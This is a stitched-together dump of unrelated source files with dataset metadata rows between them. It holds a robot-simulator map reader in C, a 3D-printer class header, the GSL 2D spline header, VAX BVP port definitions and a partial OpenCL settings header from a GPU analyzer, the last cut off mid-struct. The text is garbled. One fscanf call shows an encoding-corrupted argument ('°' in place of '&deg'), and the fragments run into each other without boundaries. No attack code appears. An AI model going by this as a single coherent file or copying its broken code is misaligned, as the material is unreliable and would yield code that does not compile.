if (objs[n_obj].x1 >= objs[n_obj].x2 || objs[n_obj].y1 >= objs[n_obj].y2)
{
fprintf(stderr,"\n### Error invalid room offsets # obj %d", n_obj);
return (struct _object *) NULL;
}
else
n_obj++;
return &(objs[n_obj-1]);
}
struct _object *add_room_size(double x1, double y1, double width,
double height,
int status)
{
char *noname=NULL;
return add_room(x1, y1, x1+width, y1+height, noname, status);
}
struct _object *add_door(double x1, double y1, double x2, double y2, int open)
{
objs[n_obj].x1 = x1;
objs[n_obj].y1 = y1;
objs[n_obj].x2 = x2;
objs[n_obj].y2 = y2;
if (open)
objs[n_obj].type = O_OPEN_DOOR;
else
objs[n_obj].type = O_CLOSE_DOOR;
objs[n_obj].objID = id_obj++; /* The id of initial objects is the index */
if (objs[n_obj].x1 >= objs[n_obj].x2 || objs[n_obj].y1 >= objs[n_obj].y2)
{
fprintf(stderr,"\n### Error invalid door offsets # obj #%d", n_obj);
return (struct _object *) NULL;
}
else
n_obj++;
return &(objs[n_obj-1]);
}
struct _object *add_door_size(double x1, double y1, double width, int open)
{
/* fix to find the orientation given the lower left corner */
/* this is a hack for map entry from speech */
return add_door(x1, y1, x1+width, y1, open);
}
struct _object *add_obst(int status, double x1, double y1,
double x2, double y2)
{
int in_room, i;
objs[n_obj].status = status;
objs[n_obj].x1 = x1;
objs[n_obj].y1 = y1;
objs[n_obj].x2 = x2;
objs[n_obj].y2 = y2;
objs[n_obj].type = O_RECTANGLE;
objs[n_obj].objID = id_obj++; /* The id of initial objects is the index */
in_room = FALSE;
for (i = 0; i < n_obj; i++){
if (objs[n_obj].x1 >= objs[i].x1
&& objs[n_obj].x2 <= objs[i].x2
&& objs[n_obj].y1 >= objs[i].y1
&& objs[n_obj].y2 <= objs[i].y2){
in_room = TRUE;
}
}
if (in_room == FALSE ||
objs[n_obj].x1 >= objs[n_obj].x2 ||
objs[n_obj].y1 >= objs[n_obj].y2) {
fprintf(stderr,"\n### Error in #%d: obst not in room/door", n_obj);
return (struct _object *) NULL;
}
else
n_obj++;
return &(objs[n_obj-1]);
}
struct _object *add_obst_size(int status,
double x1, double y1, double width, double height)
{
return add_obst(status, x1, y1, x1+width, y1+height);
}
struct _object *add_round(int status, double x1, double y1, double diameter)
{
int in_room, i;
objs[n_obj].prev_status = status;
objs[n_obj].status = 0;
objs[n_obj].x1 = x1;
objs[n_obj].y1 = y1;
objs[n_obj].diameter = diameter;
objs[n_obj].type = O_ROUND;
objs[n_obj].objID = id_obj++; /* The id of initial objects is the index */
in_room = FALSE;
for (i = 0; i < n_obj; i++){
if (objs[n_obj].x1-objs[n_obj].diameter >= objs[i].x1
&& objs[n_obj].x1+objs[n_obj].diameter <= objs[i].x2
&& objs[n_obj].y1-objs[n_obj].diameter >= objs[i].y1
&& objs[n_obj].y1+objs[n_obj].diameter <= objs[i].y2){
in_room = TRUE;
}
}
if (in_room == FALSE ||objs[n_obj].diameter <= 0.0) {
fprintf(stderr,"\n### Error in #%d: round object not in room/door", n_obj);
return (struct _object *) NULL;
}
else
n_obj++;
return &(objs[n_obj-1]);
}
struct _object *delete_obj(void)
{ /* delete the last object added */
if (n_obj > 0) {
n_obj--;
return &objs[n_obj+1];
}
return NULL;
}
struct _object *redo_obj(void)
{ /* delete the last object added */
if (n_obj < MAX_OBJ) {
n_obj++;
return &objs[n_obj-1];
}
return NULL;
}
void read_environment(file_name)
char *file_name;
{
FILE *fp;
static char command[DEFAULT_LINE_LENGTH];
static int int_param1;
static double double_param1, double_param2, double_param3, double_param4;
static char str_param1[DEFAULT_LINE_LENGTH];
static char line_str[DEFAULT_LINE_LENGTH];
int exit_flag = 0;
int nlines = 0;
int i;
int status;
fprintf(stderr,"Reading %s...", file_name);
if( (fp = fopen(file_name, "r")) == NULL ) {
fprintf( stderr, "cannot open %s\n", file_name );
exit( 1 );
}
while( !exit_flag && fscanf(fp, "%s", command) == 1) {
nlines++;
if( strcmp(command, "end") == 0 ) {
exit_flag = 1;
}
/*---------------------------------------------------------------*/
/* room <low-x> <high-x> <low-y> <high-y> <room_name> */
else if (!strcmp(command, "room") || !strcmp(command, "corridor") ||
!strcmp(command, "area")) {
fgets(line_str,DEFAULT_LINE_LENGTH,fp);
i=sscanf(line_str, "%lf %lf %lf %lf %s", &double_param1, &double_param2,
&double_param3, &double_param4, str_param1);
status = (!strcmp(command, "corridor") ? CORRIDOR_STATUS
: !strcmp(command, "area") ? AREA_STATUS : ROOM_STATUS);
if (add_room(double_param1, double_param3, double_param2, double_param4,
((i==4)?"name_not_given":str_param1), status)
== NULL)
fprintf(stderr,"\n### Error while reading %s in #%d: obj #%d",
file_name, nlines, n_obj);
}
/*---------------------------------------------------------------*/
/* door <low-x> <high-x> <low-y> <high-y>
<close/open> */
else if (!strcmp(command, "door")){
fscanf(fp, "%lf %lf %lf %lf %s", &double_param1, &double_param2,
&double_param3, &double_param4, str_param1);
if (add_door(double_param1, double_param3, double_param2, double_param4,
(!strcmp(str_param1, "open"))) == NULL)
fprintf(stderr,"\n### Error while reading %s in #%d: obj #%d",
file_name, nlines, n_obj);
}
/*---------------------------------------------------------------*/
/* obst <shape> <status>
shape==rectangle <low-x> <high-x> <low-y> <high-y>
shape==circle <mid-x> <mid-y> <diameter> */
else if (!strcmp(command, "obst")){
fscanf(fp, "%s %d %lf %lf %lf %lf", str_param1, &int_param1,
&double_param1, &double_param2, &double_param3, &double_param4);
if (!strcmp(str_param1, "rect")){
if (add_obst(int_param1, double_param1, double_param3,
double_param2, double_param4) == NULL)
fprintf(stderr,
"\n### Error while reading %s in #%d: obst not in room/door",
file_name, nlines);
}
else if (!strcmp(str_param1, "circle")){
/* For the robot competition: the "prev_status" is the object number */
if (add_round(int_param1, double_param1, double_param2,
double_param3) == NULL)
fprintf(stderr,
"\n### Error while reading %s in #%d: obst not in room/door",
file_name, nlines);
}
else
fprintf(stderr,
"\n### Error while reading %s in #%d: obj #%d: unknown shape",
file_name, nlines, n_obj);
}
/*---------------------------------------------------------------*/
/* environment <name> <scale-factor> */
else if (!strcmp(command, "environment")){
fscanf(fp, "%s %lf",env_name, &scale);
}
/*---------------------------------------------------------------*/
/* robot <position_x> <position_y> <orientation> <radius> <stepsize> */
else if (!strcmp(command, "robot")){
int in_room = FALSE;
double deg;
fscanf(fp, "%lf %lf %lf %lf", &robot_x, &robot_y, °, &robot_r);
for (; deg >= 360; deg -= 360);
for (; deg < 0 ; deg += 360);
robot_o = ((double) deg / 180) * PI;
for (i = 0; i < n_obj; i++){
if (robot_x >= objs[i].x1+robot_r
&& robot_x <= objs[i].x2-robot_r
&& robot_y >= objs[i].y1+robot_r
&& robot_y <= objs[i].y2-robot_r){
in_room = TRUE;
actual_object = i;
actual_freespace = -1;
break;
}
}
if (in_room == FALSE)
fprintf(stderr,"\n### Error while reading %s in #%d: robot not in room/door",
file_name, nlines);
}
/*---------------------------------------------------------------*/
/* sensors <#number> <measurements_per_sensor> <distance> <range>
<rotation_mode> */
else if (!strcmp(command, "sensors")){
fscanf(fp, "%d %d %lf %lf %d", &n_sensors, &n_sensors_fact,
&sensors_distance, &sensors_range, &rotation_mode);
sensors_range = (sensors_range / 180.0) * PI;
}
else if (!strcmp(command, "units_per_cm")){
double f;
fscanf(fp, "%lf", &f);
units_per_cm = f;
}
else if (!strcmp(command, "units_per_ft")){
double f;
fscanf(fp, "%lf", &f);
units_per_cm = f/CMPERFOOT;
}
/*---------------------------------------------------------------*/
/* nodisplay */
else if (!strcmp(command, "nodisplay")){
displayp = 0;
}
/*---------------------------------------------------------------*/
/*---------------------------------------------------------------*/
/* constants */
else if (!strcmp(command, "sensor_noise_level")){
fscanf(fp, "%lf", &sensor_noise_level);
}
else if (!strcmp(command, "sensor_zero")){
fscanf(fp, "%lf", &sensor_zero);
sensor_zero = (sensor_zero / 180.0) * PI;
}
else if (!strcmp(command, "forward_noise_level")){
fscanf(fp, "%lf", &forward_noise_level);
}
else if (!strcmp(command, "turning_noise_level")){
fscanf(fp, "%lf", &turning_noise_level);
/*turning_noise_level = (turning_noise_level / 180) * PI;*/
}
else if (!strcmp(command, "time_scale")){
fscanf(fp, "%ld", &timeScale);
}
else if (!strcmp(command, "time_increment")){
double ftimeIncrement;
fscanf(fp, "%lf", &ftimeIncrement);
timeIncrement = (int) (1000 * ftimeIncrement);
}
else if (!strcmp(command, "refresh_rate")) {
fscanf(fp, "%d", &refreshRate);
}
/*---------------------------------------------------------------*/
/* # */
else if (!strcmp(command, "#")){
fgets( str_param1, DEFAULT_LINE_LENGTH, fp );
}
/*---------------------------------------------------------------*/
else /* unknown command */ {
fprintf(stderr,
"\n### Error while reading %s unknown command #%d: %s (exit)",
file_name, nlines, command);
exit_flag = 1;
}
if (fscanf(fp, "\n") == 1) nlines++;
}
fprintf(stderr,"..finished.\n");
fclose(fp);
}
| 30.210784 | 84 | 0.515577 | [
"object",
"shape"
] |
2342726a050b939ef7f2dc9490938b6363548a9d | 3,458 | h | C | src/printer/IAPrinter.h | MatthiasWM/AllPlatformAppFLTK | 24054a8a494803ffae51cef7bdc5afb470c787eb | [
"MIT"
] | 12 | 2018-08-14T00:55:35.000Z | 2022-02-08T12:01:39.000Z | src/printer/IAPrinter.h | MatthiasWM/AllPlatformAppFLTK | 24054a8a494803ffae51cef7bdc5afb470c787eb | [
"MIT"
] | 34 | 2018-09-17T08:02:42.000Z | 2018-10-17T22:56:23.000Z | src/printer/IAPrinter.h | MatthiasWM/AllPlatformAppFLTK | 24054a8a494803ffae51cef7bdc5afb470c787eb | [
"MIT"
] | 9 | 2018-10-05T09:16:47.000Z | 2022-02-28T02:39:33.000Z | //
// IAPrinter.h
//
// Copyright (c) 2013-2018 Matthias Melcher. All rights reserved.
//
#ifndef IA_PRINTER_H
#define IA_PRINTER_H
#include "geometry/IAVector3d.h"
#include "geometry/IAMeshSlice.h"
#include "toolpath/IAToolpath.h"
#include "property/IAProperty.h"
#include "view/IATreeItemView.h"
#include "controller/IAController.h"
/**
* Base class to manage different types of 3D printers.
*
* Some terminology form CNC:
* - worktable
* - workpiece
* - part program
* - multiple workpiece setup
*
* \todo When printing, we generate several layers (IAPrinter should have an
* array of IALayer). Every layer holds an IASlice to create the color
* information and the volume per slice (two IAFramebuffers)
* \todo Printer specifix data is generated from the two framebuffers. This
* could be images or toolpaths, or both.
* \todo Any layer can request data from any other layer, which is either
* buffered or generated when needed.
*/
class IAPrinter
{
public:
// ---- constructor, destructor
IAPrinter();
IAPrinter(IAPrinter const& src);
virtual ~IAPrinter();
IAPrinter &operator=(IAPrinter&) = delete;
virtual IAPrinter *clone() const = 0;
virtual const char *type() const = 0;
// ---- direct user interaction
virtual void userSliceSave() = 0;
virtual void userSliceSaveAs() = 0;
virtual void userSliceGenerateAll() = 0;
// ----
virtual void rangeSliderChanged() { }
virtual void draw();
virtual void drawPreview(double lo, double hi);
virtual void purgeSlicesAndCaches();
// ---- views
void createPropertiesViews(Fl_Tree*);
// ---- controllers
virtual void createPropertiesControls();
IAControllerList pPropertiesControllerList;
// ---- properties
void readPropertiesFile();
void writePropertiesFile();
void deletePropertiesFile();
virtual void readProperties(Fl_Preferences &p);
virtual void writeProperties(Fl_Preferences &p);
void setNewUUID();
IATextProperty uuid { "UUID", nullptr };
IATextProperty name { "name", nullptr };
IATextProperty presetClass { "presetClass", "generic" };
IAFilenameProperty recentUpload { "recentUpload", nullptr };
IAVectorProperty motionRangeMin { "motionRangeMin", { 0, 0, 0 }, [this]{updateBuildVolume();} };
IAVectorProperty motionRangeMax { "motionRangeMax", { 214.0, 214.0, 230.0 }, [this]{updateBuildVolume();} };
IAVectorProperty printVolumeMin { "printVolumeMin", { 0, 0, 0 }, [this]{updateBuildVolume();} };
IAVectorProperty printVolumeMax { "printVolumeMax", { 214.0, 214.0, 230.0 }, [this]{updateBuildVolume();} };
void updateBuildVolume();
IAVector3d pPrintVolume = { 214.0, 214.0, 230.0 };
double pPrintVolumeRadius = 200.0; // sphere that contains the entire centered build volume
bool pFirstWrite = true;
// ---- scene settings
virtual void initializeSceneSettings();
void buildSessionSettings(Fl_Tree*);
IAControllerList pSceneSettings;
IAFloatProperty layerHeight { "layerHeight", 0.3 };
// ----
/// This is the current slice that contains the entire scene at a give z.
IAMeshSlice gSlice = IAMeshSlice(this);
protected:
bool queryOutputFilename(const char *title,
const char *filter,
const char *extension);
private:
void userChangedLayerHeight();
};
#endif /* IA_PRINTER_H */
| 29.555556 | 113 | 0.68074 | [
"geometry",
"3d"
] |
2349813e9351698e0f3cf11045f0f4ad590215b1 | 4,614 | h | C | gsl-2.6/gsl/gsl_spline2d.h | ielomariala/Hex-Game | 2c2e7c85f8414cb0e654cb82e9686cce5e75c63a | [
"MIT"
] | null | null | null | gsl-2.6/gsl/gsl_spline2d.h | ielomariala/Hex-Game | 2c2e7c85f8414cb0e654cb82e9686cce5e75c63a | [
"MIT"
] | null | null | null | gsl-2.6/gsl/gsl_spline2d.h | ielomariala/Hex-Game | 2c2e7c85f8414cb0e654cb82e9686cce5e75c63a | [
"MIT"
] | null | null | null | /* interpolation/gsl_spline2d.h
*
* Copyright 2012 David Zaslavsky
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef __GSL_SPLINE2D_H__
#define __GSL_SPLINE2D_H__
#include <gsl/gsl_interp.h>
#include <gsl/gsl_interp2d.h>
#undef __BEGIN_DECLS
#undef __END_DECLS
#ifdef __cplusplus
# define __BEGIN_DECLS extern "C" {
# define __END_DECLS }
#else
# define __BEGIN_DECLS /* empty */
# define __END_DECLS /* empty */
#endif
__BEGIN_DECLS
/*
* A 2D interpolation object which stores the arrays defining the function.
* In all other respects, this is just like a gsl_interp2d object.
*/
typedef struct
{
gsl_interp2d interp_object; /* low-level interpolation object */
double * xarr; /* x data array */
double * yarr; /* y data array */
double * zarr; /* z data array */
} gsl_spline2d;
gsl_spline2d * gsl_spline2d_alloc(const gsl_interp2d_type * T, size_t xsize, size_t ysize);
int gsl_spline2d_init(gsl_spline2d * interp, const double xa[],
const double ya[], const double za[],
size_t xsize, size_t ysize);
void gsl_spline2d_free(gsl_spline2d * interp);
double gsl_spline2d_eval(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya);
int gsl_spline2d_eval_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya,
double * z);
double gsl_spline2d_eval_deriv_x(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya);
int gsl_spline2d_eval_deriv_x_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
double gsl_spline2d_eval_deriv_y(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya);
int gsl_spline2d_eval_deriv_y_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
double gsl_spline2d_eval_deriv_xx(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya);
int gsl_spline2d_eval_deriv_xx_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
double gsl_spline2d_eval_deriv_yy(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya);
int gsl_spline2d_eval_deriv_yy_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
double gsl_spline2d_eval_deriv_xy(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa, gsl_interp_accel* ya);
int gsl_spline2d_eval_deriv_xy_e(const gsl_spline2d * interp, const double x,
const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
size_t gsl_spline2d_min_size(const gsl_spline2d * interp);
const char * gsl_spline2d_name(const gsl_spline2d * interp);
int gsl_spline2d_set(const gsl_spline2d * interp, double zarr[],
const size_t i, const size_t j, const double z);
double gsl_spline2d_get(const gsl_spline2d * interp, const double zarr[],
const size_t i, const size_t j);
__END_DECLS
#endif /* __GSL_SPLINE2D_H__ */
| 40.473684 | 94 | 0.652362 | [
"object"
] |
2352c6c3fb874d9878ad611bf2cd54c547080670 | 4,971 | h | C | sys/sys/bvp.h | toto112358/scripts | ce48022e5e2f2dcc208c488791c194e5c1932726 | [
"Unlicense"
] | null | null | null | sys/sys/bvp.h | toto112358/scripts | ce48022e5e2f2dcc208c488791c194e5c1932726 | [
"Unlicense"
] | null | null | null | sys/sys/bvp.h | toto112358/scripts | ce48022e5e2f2dcc208c488791c194e5c1932726 | [
"Unlicense"
] | null | null | null | /*
* BVP (BI VAX port) definitions
* used by the NI (DEBNA) driver,
* and perhaps eventually by the BVP MSCP port
*/
typedef struct quadque {
struct quadque *head, *tail;
} quadque;
/*
* port queue block
* one per port;
* must be page-aligned
*/
struct pqb {
quadque p_cmdq[4]; /* command queues */
quadque p_rspq; /* response queue */
short p_vector; /* interrupt vector, BR */
short p_nodmsk; /* interrupt node mask */
long p_nfreeq; /* number of free queues */
struct fqb *p_fqb; /* fqp virtual address */
char pp_junk0[156];
long p_bvplvl; /* BVP protocol version */
struct pqb *p_pqb; /* pqb virtual self-pointer */
struct bdt *p_bdt; /* bdt virtual address */
long p_bdtlen; /* and size */
struct pte *p_spt; /* system page table phys addr */
long p_sptlen; /* and size */
struct pte *p_gpt; /* global page table phys addr */
long p_gptlen; /* and size */
long p_funcmask; /* ?? */
char pp_junk1[24];
/* stuff filled in by port after init */
short p_maxdg; /* max datagram size */
short p_maxmsg; /* max message size */
long p_ucodetype;
long p_ucodevers;
long p_hwtype;
long p_vers[3];
char p_qelogo[216]; /* `queue entry logout area' */
};
/*
* free queue block
*/
struct fqb {
long f_size; /* max size of things in this queue */
long f_junk; /* reserved, apparently */
quadque f_q; /* the free queue itself */
};
#define NFREEQ 1
/*
* buffer descriptor
*/
struct bdt {
short b_flags;
short b_key;
long b_len; /* length of buffer */
struct pte *b_pte; /* relevant page table */
long b_sw; /* reserved for software */
};
#define NBDT 1
/*
* bundle of data for one port
* the pqb must be page-aligned;
* stick this in a buffer,
* which means it must all fit in one
*/
struct bvpdata {
struct pqb p;
struct fqb f[NFREEQ+1]; /* +1 acct off-by-one mystery in controller */
struct bdt b[NBDT];
};
/*
* port registers
*/
struct bvpregs {
long ctrl;
long stat;
long err;
long data;
/* on NI port only: */
long pudr;
unsigned char addr[6]; /* ethernet address */
};
#define MSREGS 0xf0 /* offset to storage port registers */
#define NIREGS 0x204 /* offset to NI port registers */
/*
* control bits
*/
#define PCOWN 0x80 /* port own -- here is a command */
#define PCDS 8 /* shift data by eight bits */
#define PCINIT 1
#define PCENAB 2
#define PCCMDQ 6 /* command queue not empty */
#define PCFREQ 7 /* free queue not empty */
/*
* status bits
*/
#define PSOWN 0x80000000 /* port own -- status valid */
#define PSSTD 0x20000000 /* self test done */
#define PSACC 0x10000000 /* adapter can communicate */
#define PSSTAT 0x70000 /* port state: */
#define SUNDEF 0x10000 /* undefined */
#define SINIT 0x20000 /* initialized */
#define SENAB 0x40000 /* enabled */
#define PSERR 0x40 /* error summary */
/*
* BVP packet headers
*/
/*
* datagram
*/
struct bvpdg {
quadque q; /* queue linkage */
long bd_sw0; /* for software */
char bd_mbz; /* must be zero */
char bd_sts; /* BVP status */
char bd_opc; /* BVP opcode */
char bd_flag; /* BVP flags */
/* datagram header */
short bd_len; /* length, starting at next byte */
char bd_dgsts; /* datagram status */
char bd_sw1; /* software */
long bd_sw2; /* software */
long bd_ptdb; /* proto type block index */
};
/*
* message
*/
struct bvpmsg {
quadque q; /* queue linkage */
long bd_sw0; /* for software */
char bd_mbz; /* must be zero */
char bd_sts; /* BVP status */
char bd_opc; /* BVP opcode */
char bd_flag; /* BVP flags */
/* message header */
short bm_len; /* length, from next byte */
char bm_opc; /* message opcode */
char bm_nists; /* message/NI status */
long bm_sw1; /* software */
};
#define BVPHSIZE 18 /* sizeof(whole packet) == bd_len + BVPHSIZE */
/*
* BVP opcodes
*/
#define BVPSNDDG 1 /* send datagram (or ack) */
#define BVPSNDMSG 2 /* send message */
#define BVPSNDDGI 3 /* send immediate datagram (or ack) */
#define BVPRCVDG 33 /* received datagram */
#define BVPRCVMSG 34 /* received message */
#define BVPRCVDGI 35 /* received immediate datagram */
/*
* BVP flags
*/
#define BVPRSP 01 /* response required */
/*
* NI message opcodes
*/
#define NIWPARAM 3 /* write device parameters */
#define NISTPTDB 7 /* set proto data block */
#define NICLPTDB 8 /* clear proto data block */
/*
* status codes
*/
#define BVPSUC 0 /* BVP success */
#define NISUC 0 /* NI success */
/*
* data for STPTDB
*/
struct stptdb {
short pt_proto; /* protocol number */
char pt_fqi; /* free queue index */
char pt_flag; /* flags */
long pt_id; /* id number for this ptdb */
short pt_mcalen;
short pt_mcamax;
char pt_mcalist[8];
};
/*
* pt_flag
*/
#define PTABM 0x20 /* accept broadcast messages */
#define PTAUP 0x40 /* accept unknown protocols */
#define PTAAM 0x80 /* accept all multicasts */
/*
* software data structures
*/
struct bvp {
struct bvpdata *d;
struct bvpregs *r;
struct biic *rb;
struct buf *dbuf;
struct bvpregs rsave; /* for debugging */
};
| 22.802752 | 71 | 0.657011 | [
"vector"
] |
2354ad481be7bf38aa622b841b6d2d136416779c | 10,205 | h | C | source/radeon_gpu_analyzer_gui/rg_data_types_opencl.h | clayne/RGA | 7ed370e00b635c5b558d4af4eb050e2a38f77e53 | [
"MIT"
] | 97 | 2020-03-12T01:47:49.000Z | 2022-03-16T02:29:04.000Z | source/radeon_gpu_analyzer_gui/rg_data_types_opencl.h | clayne/RGA | 7ed370e00b635c5b558d4af4eb050e2a38f77e53 | [
"MIT"
] | 34 | 2020-03-10T16:38:48.000Z | 2022-03-19T04:05:04.000Z | source/radeon_gpu_analyzer_gui/rg_data_types_opencl.h | clayne/RGA | 7ed370e00b635c5b558d4af4eb050e2a38f77e53 | [
"MIT"
] | 14 | 2020-03-13T00:50:23.000Z | 2022-01-31T09:06:54.000Z | #ifndef RGA_RADEONGPUANALYZERGUI_INCLUDE_RG_DATA_TYPES_OPENCL_H_
#define RGA_RADEONGPUANALYZERGUI_INCLUDE_RG_DATA_TYPES_OPENCL_H_
// C++.
#include <map>
#include <memory>
#include <string>
#include <vector>
// Qt.
#include <QMap>
#include <QString>
// Local.
#include "radeon_gpu_analyzer_gui/rg_data_types.h"
#include "radeon_gpu_analyzer_gui/rg_config_manager.h"
// *** OPENCL STRING CONSTANTS - START ***
// Shader source file extensions.
static const char* kStrSourceFileExtensionCl = ".cl";
// OpenCL API Name.
static const char* kStrApiNameOpencl = "OpenCL";
static const char* kStrApiAbbreviationOpencl = "CL";
// Default OpenCL Build Settings string.
static const char* kStrDefaultBuildSettingsOpencl = "Default OpenCL build settings";
// Create New File menu item.
static const char* kStrMenuBarCreateNewFileOpencl = "&Create new .cl file";
static const char* kStrMenuBarCreateNewFileTooltipOpencl = "Create a new OpenCL (.cl) source file (Ctrl+N).";
// Open Existing File menu item.
static const char* kStrMenuBarOpenExistingFileOpencl = "&Open existing .cl file";
static const char* kStrMenuBarOpenExistingFileTooltipOpencl = "Open an existing OpenCL (.cl) file (Ctrl+O).";
// Rename project dialog title string.
static const char* kStrRenameProjectDialogBoxTitleOpencl = "New OpenCL Project";
// Check box tool tip lookup map.
static const QMap<QString, QString> TOOLTIPS =
{
{ "doubleAsSingleCheckBox", "<html><head/><body><p>Treat double precision floating-point constant as single precision constant.</p></body></html>" },
{ "flushDenormalizedCheckBox", "<html><head/><body><p>This option controls how single precision and double precision denormalized numbers are handled. If specified as a build option, the single precision denormalized numbers may be flushed to zero and if the optional extension for double precision is supported, double precision denormalized numbers may also be flushed to zero. This is intended to be a performance hint and the OpenCL compiler can choose not to flush denorms to zero if the device supports single precision (or double precision) denormalized numbers.</p><p>This option is ignored for single precision numbers if the device does not support single precision denormalized numbers i.e. CL_FP_DENORM bit is not set in CL_DEVICE_SINGLE_FP_CONFIG.</p><p>This option is ignored for double precision numbers if the device does not support double precision or if it does support double precison but CL_FP_DENORM bit is not set in CL_DEVICE_DOUBLE_FP_CONFIG.</p><p>This flag only applies for scalar and vector single precision floating-point variables and computations on these floating-point variables inside a program. It does not apply to reading from or writing to image objects.</p></body></html>" },
{ "strictAliasingCheckBox", "<html><head/><body><p>Allow the compiler to assume the most strict aliasing rules.</p></body></html>"},
{ "enableMADCheckBox", "<html><head/><body><p>Allow a * b + c to be replaced by a mad. The mad computes a * b + c with reduced accuracy. For example, some OpenCL devices implement mad as truncate the result of a * b before adding it to c.</p></body></html>"},
{ "ignoreZeroSignednessCheckBox", "<html><head/><body><p>Allow optimizations for floating-point arithmetic that ignore the signedness of zero. IEEE 754 arithmetic specifies the behavior of distinct +0.0 and -0.0 values, which then prohibits simplification of expressions such as x+0.0 or 0.0*x (even with -clfinite-math only). This option implies that the sign of a zero result isn't significant.</p></body></html>"},
{ "allowUnsafeOptimizationsCheckBox", "<html><head/><body><p>Allow optimizations for floating-point arithmetic that (a) assume that arguments and results are valid, (b) may violate IEEE 754 standard and (c) may violate the OpenCL numerical compliance requirements as defined in section 7.4 for single-precision floating-point, section 9.3.9 for double-precision floating-point, and edge case behavior in section 7.5. This option includes the -cl-no-signed-zeros and -cl-mad-enable options.</p></body></html>"},
{ "assumeNoNanNorInfiniteCheckBox", "<html><head/><body><p>Allow optimizations for floating-point arithmetic that assume that arguments and results are not NaNs or +/-?. This option may violate the OpenCL numerical compliance requirements defined in in section 7.4 for single-precision floating-point, section 9.3.9 for double-precision floating-point, and edge case behavior in section 7.5.</p></body></html>"},
{ "aggressiveMathOptimizationsCheckBox", "<html><head/><body><p>Sets the optimization options -cl-finite-math-only and -cl-unsafe-math-optimizations. This allows optimizations for floating-point arithmetic that may violate the IEEE 754 standard and the OpenCL numerical compliance requirements defined in the specification in section 7.4 for single-precision floating-point, section 9.3.9 for double-precision floating-point, and edge case behavior in section 7.5. This option causes the preprocessor macro __FAST_RELAXED_MATH__ to be defined in the OpenCL program.</p></body></html>"},
{ "correctlyRoundSinglePrecisionCheckBox", "<html><head/><body><p>Specifies that single precision floating-point divide (x/y and 1/x) and sqrt used in the program source are correctly rounded. If this option is not specified, the minimum numerical accuracy of single precision floating-point divide and sqrt are as defined in section 7.4 of the OpenCL specification. This build option can only be specified if the CL_FP_CORRECTLY_ROUNDED_DIVIDE_SQRT is set in CL_DEVICE_SINGLE_FP_CONFIG (as defined in in the table of allowed values for param_name for clGetDeviceInfo) for devices that the program is being build. clBuildProgram or clCompileProgram will fail to compile the program for a device if the -cl-fp32-correctly-rounded-divide-sqrt option is specified and CL_FP_CORRECTLY_ROUNDED_DIVIDE_SQRT is not set for the device.</p></body></html>"} };
// *** OPENCL STRING CONSTANTS - END ***
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// *** DEFAULT KERNEL SOURCE CODE - START ***
static const char* kStrNewFileTemplateCodeOpenclA = "/* Auto-generated with Radeon GPU Analyzer (RGA).*/\n__kernel void ";
static const char* kStrNewFileTemplateCodeOpenclB = "MyKernel()\n{\n}";
// *** DEFAULT KERNEL SOURCE CODE - END ***
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// *** OPENCL TYPE DECLARATIONS - START ***
// OpenCL build settings.
struct RgBuildSettingsOpencl : public RgBuildSettings
{
RgBuildSettingsOpencl() = default;
virtual ~RgBuildSettingsOpencl() = default;
// Copy constructor used to initialize using another instance.
RgBuildSettingsOpencl(const RgBuildSettingsOpencl& other) :
RgBuildSettings(other),
optimization_level_(other.optimization_level_),
is_treat_double_as_single_(other.is_treat_double_as_single_),
is_denorms_as_zeros_(other.is_denorms_as_zeros_),
is_strict_aliasing_(other.is_strict_aliasing_),
is_enable_mad_(other.is_enable_mad_),
is_ignore_zero_signedness_(other.is_ignore_zero_signedness_),
is_unsafe_optimizations_(other.is_unsafe_optimizations_),
is_no_nan_nor_infinite_(other.is_no_nan_nor_infinite_),
is_aggressive_math_optimizations_(other.is_aggressive_math_optimizations_),
is_correctly_round_div_sqrt_(other.is_correctly_round_div_sqrt_) {}
// Determine if the supplied settings are the same as the current settings.
virtual bool HasSameSettings(const RgBuildSettingsOpencl& other) const
{
bool isSame = RgBuildSettings::HasSameSettings(other) &&
optimization_level_ == other.optimization_level_ &&
is_treat_double_as_single_ == other.is_treat_double_as_single_ &&
is_denorms_as_zeros_ == other.is_denorms_as_zeros_ &&
is_strict_aliasing_ == other.is_strict_aliasing_ &&
is_enable_mad_ == other.is_enable_mad_ &&
is_ignore_zero_signedness_ == other.is_ignore_zero_signedness_ &&
is_unsafe_optimizations_ == other.is_unsafe_optimizations_ &&
is_no_nan_nor_infinite_ == other.is_no_nan_nor_infinite_ &&
is_aggressive_math_optimizations_ == other.is_aggressive_math_optimizations_ &&
is_correctly_round_div_sqrt_ == other.is_correctly_round_div_sqrt_;
return isSame;
}
// Default values for specific settings.
std::string kOpenclDefaultOptLevel = "Default";
// OpenCL-specific build settings.
std::string optimization_level_ = kOpenclDefaultOptLevel;
bool is_treat_double_as_single_ = false;
bool is_denorms_as_zeros_ = false;
bool is_strict_aliasing_ = false;
bool is_enable_mad_ = false;
bool is_ignore_zero_signedness_ = false;
